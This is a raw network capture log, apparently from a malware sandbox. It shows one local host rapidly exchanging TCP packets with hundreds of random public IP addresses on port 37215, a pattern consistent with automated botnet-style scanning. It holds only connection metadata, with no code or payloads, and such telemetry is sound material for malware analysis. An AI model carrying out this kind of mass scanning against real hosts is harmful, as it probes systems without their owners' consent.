Sep 25, 2024 14:14:09.495779991 CEST	63353	37215	192.168.2.14	156.128.187.84
Sep 25, 2024 14:14:09.495788097 CEST	63353	37215	192.168.2.14	41.133.204.139
Sep 25, 2024 14:14:09.495788097 CEST	63353	37215	192.168.2.14	156.235.91.106
Sep 25, 2024 14:14:09.495795965 CEST	63353	37215	192.168.2.14	156.210.121.50
Sep 25, 2024 14:14:09.495796919 CEST	63353	37215	192.168.2.14	41.106.39.128
Sep 25, 2024 14:14:09.495799065 CEST	63353	37215	192.168.2.14	156.67.102.1
Sep 25, 2024 14:14:09.495800972 CEST	63353	37215	192.168.2.14	41.203.120.114
Sep 25, 2024 14:14:09.495800972 CEST	63353	37215	192.168.2.14	156.20.44.215
Sep 25, 2024 14:14:09.495810032 CEST	63353	37215	192.168.2.14	156.50.175.186
Sep 25, 2024 14:14:09.495810032 CEST	63353	37215	192.168.2.14	41.82.218.229
Sep 25, 2024 14:14:09.495827913 CEST	63353	37215	192.168.2.14	41.18.205.226
Sep 25, 2024 14:14:09.495829105 CEST	63353	37215	192.168.2.14	156.68.79.175
Sep 25, 2024 14:14:09.495839119 CEST	63353	37215	192.168.2.14	41.217.162.7
Sep 25, 2024 14:14:09.495856047 CEST	63353	37215	192.168.2.14	156.183.50.41
Sep 25, 2024 14:14:09.495858908 CEST	63353	37215	192.168.2.14	197.120.24.184
Sep 25, 2024 14:14:09.495862007 CEST	63353	37215	192.168.2.14	41.153.110.40
Sep 25, 2024 14:14:09.495865107 CEST	63353	37215	192.168.2.14	41.56.30.0
Sep 25, 2024 14:14:09.495866060 CEST	63353	37215	192.168.2.14	156.116.32.133
Sep 25, 2024 14:14:09.495866060 CEST	63353	37215	192.168.2.14	197.138.216.93
Sep 25, 2024 14:14:09.495882988 CEST	63353	37215	192.168.2.14	41.246.101.179
Sep 25, 2024 14:14:09.495882988 CEST	63353	37215	192.168.2.14	156.170.214.229
Sep 25, 2024 14:14:09.495886087 CEST	63353	37215	192.168.2.14	197.155.160.202
Sep 25, 2024 14:14:09.495886087 CEST	63353	37215	192.168.2.14	197.222.55.101
Sep 25, 2024 14:14:09.495897055 CEST	63353	37215	192.168.2.14	41.226.246.45
Sep 25, 2024 14:14:09.495903015 CEST	63353	37215	192.168.2.14	156.193.161.50
Sep 25, 2024 14:14:09.495913982 CEST	63353	37215	192.168.2.14	197.101.237.72
Sep 25, 2024 14:14:09.495918989 CEST	63353	37215	192.168.2.14	41.52.185.219
Sep 25, 2024 14:14:09.495923042 CEST	63353	37215	192.168.2.14	156.133.19.145
Sep 25, 2024 14:14:09.495923042 CEST	63353	37215	192.168.2.14	197.212.124.29
Sep 25, 2024 14:14:09.495938063 CEST	63353	37215	192.168.2.14	197.70.247.166
Sep 25, 2024 14:14:09.495939970 CEST	63353	37215	192.168.2.14	41.123.77.117
Sep 25, 2024 14:14:09.495940924 CEST	63353	37215	192.168.2.14	41.151.99.51
Sep 25, 2024 14:14:09.495943069 CEST	63353	37215	192.168.2.14	197.149.193.210
Sep 25, 2024 14:14:09.495943069 CEST	63353	37215	192.168.2.14	156.145.29.59
Sep 25, 2024 14:14:09.495943069 CEST	63353	37215	192.168.2.14	41.151.73.141
Sep 25, 2024 14:14:09.495953083 CEST	63353	37215	192.168.2.14	41.54.129.201
Sep 25, 2024 14:14:09.495954037 CEST	63353	37215	192.168.2.14	197.57.110.182
Sep 25, 2024 14:14:09.495964050 CEST	63353	37215	192.168.2.14	156.139.35.230
Sep 25, 2024 14:14:09.495975018 CEST	63353	37215	192.168.2.14	156.242.85.23
Sep 25, 2024 14:14:09.495975018 CEST	63353	37215	192.168.2.14	41.100.62.192
Sep 25, 2024 14:14:09.495980024 CEST	63353	37215	192.168.2.14	156.128.98.121
Sep 25, 2024 14:14:09.495980024 CEST	63353	37215	192.168.2.14	156.165.73.168
Sep 25, 2024 14:14:09.495980024 CEST	63353	37215	192.168.2.14	156.2.27.162
Sep 25, 2024 14:14:09.495995045 CEST	63353	37215	192.168.2.14	197.214.170.130
Sep 25, 2024 14:14:09.496004105 CEST	63353	37215	192.168.2.14	197.174.240.197
Sep 25, 2024 14:14:09.496004105 CEST	63353	37215	192.168.2.14	41.5.73.16
Sep 25, 2024 14:14:09.496004105 CEST	63353	37215	192.168.2.14	156.198.115.58
Sep 25, 2024 14:14:09.496009111 CEST	63353	37215	192.168.2.14	156.176.101.40
Sep 25, 2024 14:14:09.496009111 CEST	63353	37215	192.168.2.14	41.141.109.165
Sep 25, 2024 14:14:09.496018887 CEST	63353	37215	192.168.2.14	197.198.2.66
Sep 25, 2024 14:14:09.496023893 CEST	63353	37215	192.168.2.14	197.40.210.203
Sep 25, 2024 14:14:09.496023893 CEST	63353	37215	192.168.2.14	156.231.245.93
Sep 25, 2024 14:14:09.496027946 CEST	63353	37215	192.168.2.14	156.229.219.215
Sep 25, 2024 14:14:09.496037006 CEST	63353	37215	192.168.2.14	41.163.62.107
Sep 25, 2024 14:14:09.496047020 CEST	63353	37215	192.168.2.14	41.11.148.46
Sep 25, 2024 14:14:09.496052980 CEST	63353	37215	192.168.2.14	156.225.84.206
Sep 25, 2024 14:14:09.496217012 CEST	63353	37215	192.168.2.14	41.174.86.157
Sep 25, 2024 14:14:09.501157999 CEST	37215	63353	197.190.213.211	192.168.2.14
Sep 25, 2024 14:14:09.501209974 CEST	63353	37215	192.168.2.14	197.190.213.211
Sep 25, 2024 14:14:09.501574993 CEST	37215	63353	197.20.94.33	192.168.2.14
Sep 25, 2024 14:14:09.501586914 CEST	37215	63353	197.99.236.196	192.168.2.14
Sep 25, 2024 14:14:09.501600027 CEST	37215	63353	41.63.0.247	192.168.2.14
Sep 25, 2024 14:14:09.501643896 CEST	63353	37215	192.168.2.14	41.63.0.247
Sep 25, 2024 14:14:09.501643896 CEST	63353	37215	192.168.2.14	197.20.94.33
Sep 25, 2024 14:14:09.501646996 CEST	63353	37215	192.168.2.14	197.99.236.196
Sep 25, 2024 14:14:09.501666069 CEST	37215	63353	197.22.35.233	192.168.2.14
Sep 25, 2024 14:14:09.501678944 CEST	37215	63353	41.220.24.144	192.168.2.14
Sep 25, 2024 14:14:09.501688957 CEST	37215	63353	41.133.25.7	192.168.2.14
Sep 25, 2024 14:14:09.501704931 CEST	37215	63353	41.167.193.247	192.168.2.14
Sep 25, 2024 14:14:09.501705885 CEST	63353	37215	192.168.2.14	197.22.35.233
Sep 25, 2024 14:14:09.501715899 CEST	37215	63353	197.33.56.32	192.168.2.14
Sep 25, 2024 14:14:09.501723051 CEST	63353	37215	192.168.2.14	41.220.24.144
Sep 25, 2024 14:14:09.501727104 CEST	37215	63353	41.60.198.199	192.168.2.14
Sep 25, 2024 14:14:09.501729012 CEST	63353	37215	192.168.2.14	41.133.25.7
Sep 25, 2024 14:14:09.501734972 CEST	63353	37215	192.168.2.14	41.167.193.247
Sep 25, 2024 14:14:09.501740932 CEST	37215	63353	156.205.105.230	192.168.2.14
Sep 25, 2024 14:14:09.501753092 CEST	37215	63353	197.89.170.252	192.168.2.14
Sep 25, 2024 14:14:09.501763105 CEST	37215	63353	197.208.164.58	192.168.2.14
Sep 25, 2024 14:14:09.501768112 CEST	63353	37215	192.168.2.14	41.60.198.199
Sep 25, 2024 14:14:09.501784086 CEST	37215	63353	41.216.132.188	192.168.2.14
Sep 25, 2024 14:14:09.501789093 CEST	63353	37215	192.168.2.14	197.33.56.32
Sep 25, 2024 14:14:09.501789093 CEST	63353	37215	192.168.2.14	156.205.105.230
Sep 25, 2024 14:14:09.501794100 CEST	63353	37215	192.168.2.14	197.89.170.252
Sep 25, 2024 14:14:09.501794100 CEST	37215	63353	156.158.45.127	192.168.2.14
Sep 25, 2024 14:14:09.501806021 CEST	37215	63353	197.8.254.42	192.168.2.14
Sep 25, 2024 14:14:09.501816034 CEST	63353	37215	192.168.2.14	197.208.164.58
Sep 25, 2024 14:14:09.501817942 CEST	37215	63353	197.253.41.239	192.168.2.14
Sep 25, 2024 14:14:09.501827955 CEST	63353	37215	192.168.2.14	156.158.45.127
Sep 25, 2024 14:14:09.501830101 CEST	37215	63353	197.218.197.167	192.168.2.14
Sep 25, 2024 14:14:09.501841068 CEST	37215	63353	41.80.11.132	192.168.2.14
Sep 25, 2024 14:14:09.501847982 CEST	63353	37215	192.168.2.14	197.8.254.42
Sep 25, 2024 14:14:09.501847982 CEST	63353	37215	192.168.2.14	41.216.132.188
Sep 25, 2024 14:14:09.501849890 CEST	37215	63353	41.74.74.240	192.168.2.14
Sep 25, 2024 14:14:09.501864910 CEST	37215	63353	197.8.14.51	192.168.2.14
Sep 25, 2024 14:14:09.501864910 CEST	63353	37215	192.168.2.14	197.218.197.167
Sep 25, 2024 14:14:09.501869917 CEST	63353	37215	192.168.2.14	41.80.11.132
Sep 25, 2024 14:14:09.501877069 CEST	37215	63353	156.248.255.21	192.168.2.14
Sep 25, 2024 14:14:09.501893997 CEST	37215	63353	156.62.201.8	192.168.2.14
Sep 25, 2024 14:14:09.501903057 CEST	63353	37215	192.168.2.14	41.74.74.240
Sep 25, 2024 14:14:09.501904964 CEST	37215	63353	156.58.41.171	192.168.2.14
Sep 25, 2024 14:14:09.501905918 CEST	63353	37215	192.168.2.14	197.253.41.239
Sep 25, 2024 14:14:09.501905918 CEST	63353	37215	192.168.2.14	197.8.14.51
Sep 25, 2024 14:14:09.501916885 CEST	37215	63353	156.125.16.61	192.168.2.14
Sep 25, 2024 14:14:09.501919031 CEST	63353	37215	192.168.2.14	156.248.255.21
Sep 25, 2024 14:14:09.501928091 CEST	63353	37215	192.168.2.14	156.62.201.8
Sep 25, 2024 14:14:09.501928091 CEST	37215	63353	41.3.164.32	192.168.2.14
Sep 25, 2024 14:14:09.501939058 CEST	63353	37215	192.168.2.14	156.58.41.171
Sep 25, 2024 14:14:09.501941919 CEST	37215	63353	41.97.204.192	192.168.2.14
Sep 25, 2024 14:14:09.501952887 CEST	63353	37215	192.168.2.14	156.125.16.61
Sep 25, 2024 14:14:09.501954079 CEST	37215	63353	41.237.193.147	192.168.2.14
Sep 25, 2024 14:14:09.501965046 CEST	63353	37215	192.168.2.14	41.3.164.32
Sep 25, 2024 14:14:09.501972914 CEST	63353	37215	192.168.2.14	41.97.204.192
Sep 25, 2024 14:14:09.501986027 CEST	63353	37215	192.168.2.14	41.237.193.147
Sep 25, 2024 14:14:09.502011061 CEST	32832	37215	192.168.2.14	197.137.197.243
Sep 25, 2024 14:14:09.502029896 CEST	37215	63353	197.134.38.243	192.168.2.14
Sep 25, 2024 14:14:09.502042055 CEST	37215	63353	41.169.231.56	192.168.2.14
Sep 25, 2024 14:14:09.502052069 CEST	37215	63353	197.10.224.32	192.168.2.14
Sep 25, 2024 14:14:09.502063036 CEST	37215	63353	41.65.216.224	192.168.2.14
Sep 25, 2024 14:14:09.502070904 CEST	63353	37215	192.168.2.14	197.134.38.243
Sep 25, 2024 14:14:09.502070904 CEST	63353	37215	192.168.2.14	41.169.231.56
Sep 25, 2024 14:14:09.502073050 CEST	37215	63353	197.250.245.95	192.168.2.14
Sep 25, 2024 14:14:09.502084970 CEST	37215	63353	156.94.244.181	192.168.2.14
Sep 25, 2024 14:14:09.502093077 CEST	63353	37215	192.168.2.14	41.65.216.224
Sep 25, 2024 14:14:09.502099037 CEST	63353	37215	192.168.2.14	197.10.224.32
Sep 25, 2024 14:14:09.502099991 CEST	37215	63353	197.65.105.227	192.168.2.14
Sep 25, 2024 14:14:09.502106905 CEST	37215	63353	156.65.122.111	192.168.2.14
Sep 25, 2024 14:14:09.502119064 CEST	63353	37215	192.168.2.14	156.94.244.181
Sep 25, 2024 14:14:09.502124071 CEST	63353	37215	192.168.2.14	197.250.245.95
Sep 25, 2024 14:14:09.502124071 CEST	63353	37215	192.168.2.14	197.65.105.227
Sep 25, 2024 14:14:09.502160072 CEST	37215	63353	197.140.248.73	192.168.2.14
Sep 25, 2024 14:14:09.502167940 CEST	63353	37215	192.168.2.14	156.65.122.111
Sep 25, 2024 14:14:09.502171993 CEST	37215	63353	197.54.96.253	192.168.2.14
Sep 25, 2024 14:14:09.502182007 CEST	37215	63353	41.190.235.76	192.168.2.14
Sep 25, 2024 14:14:09.502193928 CEST	37215	63353	197.181.132.136	192.168.2.14
Sep 25, 2024 14:14:09.502202988 CEST	37215	63353	41.0.79.115	192.168.2.14
Sep 25, 2024 14:14:09.502211094 CEST	63353	37215	192.168.2.14	197.54.96.253
Sep 25, 2024 14:14:09.502217054 CEST	63353	37215	192.168.2.14	197.140.248.73
Sep 25, 2024 14:14:09.502223969 CEST	63353	37215	192.168.2.14	41.190.235.76
Sep 25, 2024 14:14:09.502243996 CEST	63353	37215	192.168.2.14	197.181.132.136
Sep 25, 2024 14:14:09.502259016 CEST	63353	37215	192.168.2.14	41.0.79.115
Sep 25, 2024 14:14:09.502276897 CEST	37215	63353	41.232.159.185	192.168.2.14
Sep 25, 2024 14:14:09.502285957 CEST	37215	63353	156.146.52.204	192.168.2.14
Sep 25, 2024 14:14:09.502300024 CEST	37215	63353	41.47.49.32	192.168.2.14
Sep 25, 2024 14:14:09.502301931 CEST	37215	63353	156.48.54.82	192.168.2.14
Sep 25, 2024 14:14:09.502302885 CEST	63353	37215	192.168.2.14	41.232.159.185
Sep 25, 2024 14:14:09.502305031 CEST	37215	63353	197.167.54.201	192.168.2.14
Sep 25, 2024 14:14:09.502310038 CEST	37215	63353	41.186.153.225	192.168.2.14
Sep 25, 2024 14:14:09.502312899 CEST	63353	37215	192.168.2.14	156.146.52.204
Sep 25, 2024 14:14:09.502314091 CEST	37215	63353	41.91.80.1	192.168.2.14
Sep 25, 2024 14:14:09.502319098 CEST	37215	63353	156.225.132.133	192.168.2.14
Sep 25, 2024 14:14:09.502326012 CEST	63353	37215	192.168.2.14	41.47.49.32
Sep 25, 2024 14:14:09.502330065 CEST	37215	63353	197.146.237.37	192.168.2.14
Sep 25, 2024 14:14:09.502336979 CEST	63353	37215	192.168.2.14	156.48.54.82
Sep 25, 2024 14:14:09.502340078 CEST	37215	63353	156.50.247.21	192.168.2.14
Sep 25, 2024 14:14:09.502346039 CEST	63353	37215	192.168.2.14	197.167.54.201
Sep 25, 2024 14:14:09.502346039 CEST	63353	37215	192.168.2.14	41.186.153.225
Sep 25, 2024 14:14:09.502346039 CEST	63353	37215	192.168.2.14	41.91.80.1
Sep 25, 2024 14:14:09.502351046 CEST	37215	63353	41.18.224.112	192.168.2.14
Sep 25, 2024 14:14:09.502363920 CEST	37215	63353	156.135.48.12	192.168.2.14
Sep 25, 2024 14:14:09.502363920 CEST	63353	37215	192.168.2.14	156.225.132.133
Sep 25, 2024 14:14:09.502367973 CEST	63353	37215	192.168.2.14	197.146.237.37
Sep 25, 2024 14:14:09.502376080 CEST	37215	63353	41.18.186.100	192.168.2.14
Sep 25, 2024 14:14:09.502382994 CEST	63353	37215	192.168.2.14	156.50.247.21
Sep 25, 2024 14:14:09.502382994 CEST	63353	37215	192.168.2.14	41.18.224.112
Sep 25, 2024 14:14:09.502386093 CEST	37215	63353	156.169.105.93	192.168.2.14
Sep 25, 2024 14:14:09.502394915 CEST	63353	37215	192.168.2.14	156.135.48.12
Sep 25, 2024 14:14:09.502396107 CEST	37215	63353	156.251.83.136	192.168.2.14
Sep 25, 2024 14:14:09.502403021 CEST	63353	37215	192.168.2.14	41.18.186.100
Sep 25, 2024 14:14:09.502424955 CEST	63353	37215	192.168.2.14	156.169.105.93
Sep 25, 2024 14:14:09.502530098 CEST	37215	63353	41.10.226.131	192.168.2.14
Sep 25, 2024 14:14:09.502541065 CEST	37215	63353	156.214.4.164	192.168.2.14
Sep 25, 2024 14:14:09.502552032 CEST	37215	63353	156.18.80.148	192.168.2.14
Sep 25, 2024 14:14:09.502562046 CEST	37215	63353	41.83.219.187	192.168.2.14
Sep 25, 2024 14:14:09.502567053 CEST	63353	37215	192.168.2.14	156.251.83.136
Sep 25, 2024 14:14:09.502567053 CEST	63353	37215	192.168.2.14	41.10.226.131
Sep 25, 2024 14:14:09.502569914 CEST	63353	37215	192.168.2.14	156.214.4.164
Sep 25, 2024 14:14:09.502572060 CEST	37215	63353	41.149.60.156	192.168.2.14
Sep 25, 2024 14:14:09.502582073 CEST	37215	63353	41.153.191.177	192.168.2.14
Sep 25, 2024 14:14:09.502592087 CEST	37215	63353	197.125.126.156	192.168.2.14
Sep 25, 2024 14:14:09.502593040 CEST	63353	37215	192.168.2.14	156.18.80.148
Sep 25, 2024 14:14:09.502604008 CEST	37215	63353	41.203.140.253	192.168.2.14
Sep 25, 2024 14:14:09.502614975 CEST	37215	63353	197.95.143.232	192.168.2.14
Sep 25, 2024 14:14:09.502618074 CEST	63353	37215	192.168.2.14	41.83.219.187
Sep 25, 2024 14:14:09.502619028 CEST	63353	37215	192.168.2.14	197.125.126.156
Sep 25, 2024 14:14:09.502623081 CEST	63353	37215	192.168.2.14	41.153.191.177
Sep 25, 2024 14:14:09.502636909 CEST	37215	63353	156.144.9.70	192.168.2.14
Sep 25, 2024 14:14:09.502648115 CEST	37215	63353	41.8.93.131	192.168.2.14
Sep 25, 2024 14:14:09.502650023 CEST	63353	37215	192.168.2.14	41.203.140.253
Sep 25, 2024 14:14:09.502655983 CEST	63353	37215	192.168.2.14	197.95.143.232
Sep 25, 2024 14:14:09.502660036 CEST	37215	63353	197.81.196.81	192.168.2.14
Sep 25, 2024 14:14:09.502672911 CEST	63353	37215	192.168.2.14	41.149.60.156
Sep 25, 2024 14:14:09.502677917 CEST	63353	37215	192.168.2.14	156.144.9.70
Sep 25, 2024 14:14:09.502677917 CEST	37215	63353	156.166.190.250	192.168.2.14
Sep 25, 2024 14:14:09.502685070 CEST	63353	37215	192.168.2.14	41.8.93.131
Sep 25, 2024 14:14:09.502687931 CEST	63353	37215	192.168.2.14	197.81.196.81
Sep 25, 2024 14:14:09.502691031 CEST	37215	63353	156.178.72.115	192.168.2.14
Sep 25, 2024 14:14:09.502701998 CEST	37215	63353	41.200.99.159	192.168.2.14
Sep 25, 2024 14:14:09.502707958 CEST	63353	37215	192.168.2.14	156.166.190.250
Sep 25, 2024 14:14:09.502712011 CEST	37215	63353	41.254.33.109	192.168.2.14
Sep 25, 2024 14:14:09.502722025 CEST	63353	37215	192.168.2.14	156.178.72.115
Sep 25, 2024 14:14:09.502722979 CEST	37215	63353	41.140.192.170	192.168.2.14
Sep 25, 2024 14:14:09.502737045 CEST	37215	63353	41.161.134.88	192.168.2.14
Sep 25, 2024 14:14:09.502742052 CEST	63353	37215	192.168.2.14	41.200.99.159
Sep 25, 2024 14:14:09.502742052 CEST	63353	37215	192.168.2.14	41.254.33.109
Sep 25, 2024 14:14:09.502747059 CEST	37215	63353	156.249.91.206	192.168.2.14
Sep 25, 2024 14:14:09.502749920 CEST	63353	37215	192.168.2.14	41.140.192.170
Sep 25, 2024 14:14:09.502757072 CEST	37215	63353	197.98.151.218	192.168.2.14
Sep 25, 2024 14:14:09.502768040 CEST	37215	63353	156.238.235.2	192.168.2.14
Sep 25, 2024 14:14:09.502770901 CEST	63353	37215	192.168.2.14	156.249.91.206
Sep 25, 2024 14:14:09.502778053 CEST	37215	63353	197.78.4.191	192.168.2.14
Sep 25, 2024 14:14:09.502789021 CEST	37215	63353	41.6.206.9	192.168.2.14
Sep 25, 2024 14:14:09.502789974 CEST	63353	37215	192.168.2.14	197.98.151.218
Sep 25, 2024 14:14:09.502799988 CEST	37215	63353	41.64.73.220	192.168.2.14
Sep 25, 2024 14:14:09.502810955 CEST	37215	63353	41.175.140.176	192.168.2.14
Sep 25, 2024 14:14:09.502820015 CEST	37215	63353	156.94.175.162	192.168.2.14
Sep 25, 2024 14:14:09.502829075 CEST	63353	37215	192.168.2.14	156.238.235.2
Sep 25, 2024 14:14:09.502832890 CEST	63353	37215	192.168.2.14	41.161.134.88
Sep 25, 2024 14:14:09.502834082 CEST	63353	37215	192.168.2.14	41.64.73.220
Sep 25, 2024 14:14:09.502834082 CEST	63353	37215	192.168.2.14	197.78.4.191
Sep 25, 2024 14:14:09.502839088 CEST	63353	37215	192.168.2.14	41.175.140.176
Sep 25, 2024 14:14:09.502840042 CEST	37215	63353	41.188.100.198	192.168.2.14
Sep 25, 2024 14:14:09.502846956 CEST	63353	37215	192.168.2.14	41.6.206.9
Sep 25, 2024 14:14:09.502851963 CEST	37215	63353	156.145.66.68	192.168.2.14
Sep 25, 2024 14:14:09.502861023 CEST	63353	37215	192.168.2.14	156.94.175.162
Sep 25, 2024 14:14:09.502870083 CEST	63353	37215	192.168.2.14	41.188.100.198
Sep 25, 2024 14:14:09.502893925 CEST	63353	37215	192.168.2.14	156.145.66.68
Sep 25, 2024 14:14:09.503187895 CEST	37215	63353	197.124.7.51	192.168.2.14
Sep 25, 2024 14:14:09.503197908 CEST	37215	63353	197.153.121.188	192.168.2.14
Sep 25, 2024 14:14:09.503237009 CEST	63353	37215	192.168.2.14	197.124.7.51
Sep 25, 2024 14:14:09.503278017 CEST	37215	63353	197.253.99.18	192.168.2.14
Sep 25, 2024 14:14:09.503288984 CEST	37215	63353	41.123.81.78	192.168.2.14
Sep 25, 2024 14:14:09.503293991 CEST	63353	37215	192.168.2.14	197.153.121.188
Sep 25, 2024 14:14:09.503299952 CEST	37215	63353	41.172.87.74	192.168.2.14
Sep 25, 2024 14:14:09.503309965 CEST	37215	63353	197.159.253.222	192.168.2.14
Sep 25, 2024 14:14:09.503314018 CEST	63353	37215	192.168.2.14	197.253.99.18
Sep 25, 2024 14:14:09.503321886 CEST	37215	63353	197.108.231.172	192.168.2.14
Sep 25, 2024 14:14:09.503334045 CEST	37215	63353	156.111.123.142	192.168.2.14
Sep 25, 2024 14:14:09.503344059 CEST	37215	63353	156.160.195.254	192.168.2.14
Sep 25, 2024 14:14:09.503354073 CEST	37215	63353	197.83.76.56	192.168.2.14
Sep 25, 2024 14:14:09.503355980 CEST	63353	37215	192.168.2.14	197.108.231.172
Sep 25, 2024 14:14:09.503364086 CEST	63353	37215	192.168.2.14	156.111.123.142
Sep 25, 2024 14:14:09.503365993 CEST	37215	63353	41.204.114.155	192.168.2.14
Sep 25, 2024 14:14:09.503377914 CEST	37215	63353	41.224.248.241	192.168.2.14
Sep 25, 2024 14:14:09.503392935 CEST	37215	63353	197.85.155.15	192.168.2.14
Sep 25, 2024 14:14:09.503396034 CEST	63353	37215	192.168.2.14	197.83.76.56
Sep 25, 2024 14:14:09.503403902 CEST	37215	63353	197.116.240.123	192.168.2.14
Sep 25, 2024 14:14:09.503403902 CEST	63353	37215	192.168.2.14	41.204.114.155
Sep 25, 2024 14:14:09.503403902 CEST	63353	37215	192.168.2.14	41.224.248.241
Sep 25, 2024 14:14:09.503406048 CEST	63353	37215	192.168.2.14	41.123.81.78
Sep 25, 2024 14:14:09.503406048 CEST	63353	37215	192.168.2.14	41.172.87.74
Sep 25, 2024 14:14:09.503406048 CEST	63353	37215	192.168.2.14	197.159.253.222
Sep 25, 2024 14:14:09.503406048 CEST	63353	37215	192.168.2.14	156.160.195.254
Sep 25, 2024 14:14:09.503417015 CEST	37215	63353	156.62.68.189	192.168.2.14
Sep 25, 2024 14:14:09.503426075 CEST	63353	37215	192.168.2.14	197.85.155.15
Sep 25, 2024 14:14:09.503437996 CEST	37215	63353	156.71.133.230	192.168.2.14
Sep 25, 2024 14:14:09.503443956 CEST	63353	37215	192.168.2.14	197.116.240.123
Sep 25, 2024 14:14:09.503443956 CEST	63353	37215	192.168.2.14	156.62.68.189
Sep 25, 2024 14:14:09.503535986 CEST	63353	37215	192.168.2.14	156.71.133.230
Sep 25, 2024 14:14:09.503619909 CEST	37215	63353	197.183.237.213	192.168.2.14
Sep 25, 2024 14:14:09.503629923 CEST	37215	63353	41.44.239.158	192.168.2.14
Sep 25, 2024 14:14:09.503640890 CEST	37215	63353	41.101.139.162	192.168.2.14
Sep 25, 2024 14:14:09.503650904 CEST	37215	63353	156.128.187.84	192.168.2.14
Sep 25, 2024 14:14:09.503653049 CEST	63353	37215	192.168.2.14	197.183.237.213
Sep 25, 2024 14:14:09.503660917 CEST	37215	63353	41.133.204.139	192.168.2.14
Sep 25, 2024 14:14:09.503664017 CEST	63353	37215	192.168.2.14	41.44.239.158
Sep 25, 2024 14:14:09.503671885 CEST	63353	37215	192.168.2.14	41.101.139.162
Sep 25, 2024 14:14:09.503675938 CEST	63353	37215	192.168.2.14	156.128.187.84
Sep 25, 2024 14:14:09.503699064 CEST	63353	37215	192.168.2.14	41.133.204.139
Sep 25, 2024 14:14:09.503740072 CEST	37215	63353	156.235.91.106	192.168.2.14
Sep 25, 2024 14:14:09.503748894 CEST	37215	63353	41.106.39.128	192.168.2.14
Sep 25, 2024 14:14:09.503758907 CEST	37215	63353	156.210.121.50	192.168.2.14
Sep 25, 2024 14:14:09.503770113 CEST	37215	63353	156.67.102.1	192.168.2.14
Sep 25, 2024 14:14:09.503773928 CEST	63353	37215	192.168.2.14	156.235.91.106
Sep 25, 2024 14:14:09.503783941 CEST	63353	37215	192.168.2.14	41.106.39.128
Sep 25, 2024 14:14:09.503788948 CEST	63353	37215	192.168.2.14	156.210.121.50
Sep 25, 2024 14:14:09.503808022 CEST	63353	37215	192.168.2.14	156.67.102.1
Sep 25, 2024 14:14:09.503915071 CEST	37215	63353	41.203.120.114	192.168.2.14
Sep 25, 2024 14:14:09.503926039 CEST	37215	63353	156.20.44.215	192.168.2.14
Sep 25, 2024 14:14:09.503936052 CEST	37215	63353	156.50.175.186	192.168.2.14
Sep 25, 2024 14:14:09.503951073 CEST	63353	37215	192.168.2.14	41.203.120.114
Sep 25, 2024 14:14:09.503951073 CEST	63353	37215	192.168.2.14	156.20.44.215
Sep 25, 2024 14:14:09.504252911 CEST	63353	37215	192.168.2.14	156.50.175.186
Sep 25, 2024 14:14:09.504430056 CEST	37215	63353	41.82.218.229	192.168.2.14
Sep 25, 2024 14:14:09.504440069 CEST	37215	63353	41.18.205.226	192.168.2.14
Sep 25, 2024 14:14:09.504448891 CEST	37215	63353	156.68.79.175	192.168.2.14
Sep 25, 2024 14:14:09.504460096 CEST	37215	63353	41.217.162.7	192.168.2.14
Sep 25, 2024 14:14:09.504468918 CEST	63353	37215	192.168.2.14	41.18.205.226
Sep 25, 2024 14:14:09.504471064 CEST	37215	63353	156.183.50.41	192.168.2.14
Sep 25, 2024 14:14:09.504471064 CEST	63353	37215	192.168.2.14	41.82.218.229
Sep 25, 2024 14:14:09.504482031 CEST	37215	63353	197.120.24.184	192.168.2.14
Sep 25, 2024 14:14:09.504482985 CEST	63353	37215	192.168.2.14	156.68.79.175
Sep 25, 2024 14:14:09.504491091 CEST	63353	37215	192.168.2.14	41.217.162.7
Sep 25, 2024 14:14:09.504513025 CEST	37215	63353	41.153.110.40	192.168.2.14
Sep 25, 2024 14:14:09.504518032 CEST	63353	37215	192.168.2.14	156.183.50.41
Sep 25, 2024 14:14:09.504518986 CEST	63353	37215	192.168.2.14	197.120.24.184
Sep 25, 2024 14:14:09.504525900 CEST	37215	63353	41.56.30.0	192.168.2.14
Sep 25, 2024 14:14:09.504535913 CEST	37215	63353	156.116.32.133	192.168.2.14
Sep 25, 2024 14:14:09.504542112 CEST	37215	63353	197.138.216.93	192.168.2.14
Sep 25, 2024 14:14:09.504545927 CEST	37215	63353	197.155.160.202	192.168.2.14
Sep 25, 2024 14:14:09.504556894 CEST	37215	63353	197.222.55.101	192.168.2.14
Sep 25, 2024 14:14:09.504556894 CEST	39490	37215	192.168.2.14	197.150.60.243
Sep 25, 2024 14:14:09.504560947 CEST	63353	37215	192.168.2.14	41.56.30.0
Sep 25, 2024 14:14:09.504568100 CEST	37215	63353	41.246.101.179	192.168.2.14
Sep 25, 2024 14:14:09.504570007 CEST	63353	37215	192.168.2.14	197.155.160.202
Sep 25, 2024 14:14:09.504576921 CEST	63353	37215	192.168.2.14	156.116.32.133
Sep 25, 2024 14:14:09.504576921 CEST	63353	37215	192.168.2.14	197.138.216.93
Sep 25, 2024 14:14:09.504590988 CEST	63353	37215	192.168.2.14	197.222.55.101
Sep 25, 2024 14:14:09.504596949 CEST	63353	37215	192.168.2.14	41.246.101.179
Sep 25, 2024 14:14:09.504600048 CEST	63353	37215	192.168.2.14	41.153.110.40
Sep 25, 2024 14:14:09.504662037 CEST	37215	63353	156.170.214.229	192.168.2.14
Sep 25, 2024 14:14:09.504673004 CEST	37215	63353	41.226.246.45	192.168.2.14
Sep 25, 2024 14:14:09.504683971 CEST	37215	63353	156.193.161.50	192.168.2.14
Sep 25, 2024 14:14:09.504693985 CEST	63353	37215	192.168.2.14	156.170.214.229
Sep 25, 2024 14:14:09.504703045 CEST	63353	37215	192.168.2.14	41.226.246.45
Sep 25, 2024 14:14:09.504755020 CEST	37215	63353	197.101.237.72	192.168.2.14
Sep 25, 2024 14:14:09.504765987 CEST	37215	63353	41.52.185.219	192.168.2.14
Sep 25, 2024 14:14:09.504776955 CEST	37215	63353	156.133.19.145	192.168.2.14
Sep 25, 2024 14:14:09.504779100 CEST	63353	37215	192.168.2.14	156.193.161.50
Sep 25, 2024 14:14:09.504787922 CEST	37215	63353	197.212.124.29	192.168.2.14
Sep 25, 2024 14:14:09.504791021 CEST	63353	37215	192.168.2.14	197.101.237.72
Sep 25, 2024 14:14:09.504795074 CEST	63353	37215	192.168.2.14	41.52.185.219
Sep 25, 2024 14:14:09.504798889 CEST	37215	63353	197.70.247.166	192.168.2.14
Sep 25, 2024 14:14:09.504808903 CEST	63353	37215	192.168.2.14	156.133.19.145
Sep 25, 2024 14:14:09.504808903 CEST	63353	37215	192.168.2.14	197.212.124.29
Sep 25, 2024 14:14:09.504810095 CEST	37215	63353	41.151.99.51	192.168.2.14
Sep 25, 2024 14:14:09.504820108 CEST	37215	63353	41.123.77.117	192.168.2.14
